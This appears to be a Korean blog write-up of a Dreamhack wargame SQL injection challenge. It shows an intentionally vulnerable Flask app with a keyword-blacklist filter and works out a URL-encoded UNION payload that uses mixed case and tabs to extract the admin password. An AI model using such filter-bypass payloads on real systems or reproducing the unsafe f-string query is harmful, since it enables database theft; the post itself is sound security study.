프롤로그
화이트햇 하면서 공책받고나서 거기다가 열심히 적으면서 하다가 블로그 정리 안 하긴 했는데
블로그 정리가 훨씬 더 좋은 거 같다.
문제
문제코드
#app.py
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
# init.sql
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
코드 분석
사용자 입력을 그대로 데이터베이스에 사용을 하는 것은 맞으나
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
여기에 이제 입력값을 한 번 필터링을 해서 집어넣는다.
그래서 admin의 비밀번호인 플래그 값을 획득하는 것이 목표
풀이 전략
그동안 SQL Injection을 공부하면서 나온 핵심은
1. or, and , # 이렇게 3가지를 잘 이용할 것
2. UNION 을 잘 이용할 것
-> UNION SELECt 'admin', null, 0;--
3. 아스키 코드 대체값으로 우회 하기
-> UNION select extractvalue(1, concat(0x3a, (select upw from user where uid ="admin")));--
4. 위에 나온 것처럼 concat으로 이어갈 수도 있다
우선 우리가 원하는 값은
'UNION SELECT null,(Select upw From User Where uid="admin"),null
이것이 들어가야하는데 문제는
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
여기 키워드에 '스페이스바'가 걸린다.
그리고 대소문자 처리하는 게 없어서
그냥 소문자로만 안 쓰면 딱히 문제없어 보인다.
그렇다면, 우리는 저기서
스페이스바, admin 이 세 부분만 처리하면 될 것이다.
admin 은 Admin으로 바꿔서 넣으면 될 것이다.
스페이스바 부분은 tab으로 대체해서 넣으면 된다
그럼 다시 작성해보면
Admin' Union Select null,upw,null From User Where uid="Admin"#
' Union Select null,(Select upw From User Where uid="Admin"),null#
이 때, ' ->%27, tab ->09, #->%23 으로 URL인코딩을 해주자
%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='Admin'),null%23
%27Union%09Select%09null,(Select%09upw%09From%09user%09Where%09uid='Admin'),null%23
%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='Admin'),null%23
그걸 url에다가 넣어주면 나오긴 한다.
에필로그
%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='Admin'),null%23
%27Union%09Select%09null,(Select%09upw%09From%09user%09Where%09uid='Admin'),null%23
%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='Admin'),null%23
이게 왜 3개가 적혀있을 거 같은가?
첫 번째 했을 때
두 번째 했을 때
여기 억까당해서 진짜 문제가 안 풀렸다;;;
저거 복붙해서 찾아보니까
중간중간에 백스페이스인 %08 이거 숨어져 있던데
진짜 화가 이빠이난다
참고자료
https://minseosavestheworld.tistory.com/152
https://minnggyuu.tistory.com/5
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임][wargame.kr] login filtering (웹해킹) (2) | 2024.09.20 |
---|---|
[드림핵/워게임] CSRF Advanced (웹 해킹) (2) | 2024.09.19 |
[드림핵/워게임] session (웹 해킹) (1) | 2024.01.27 |
[드림핵/워게임] phpreg (웹 해킹) (1) | 2024.01.26 |
[드림핵/워게임] web-ssrf (웹 해킹) (0) | 2024.01.16 |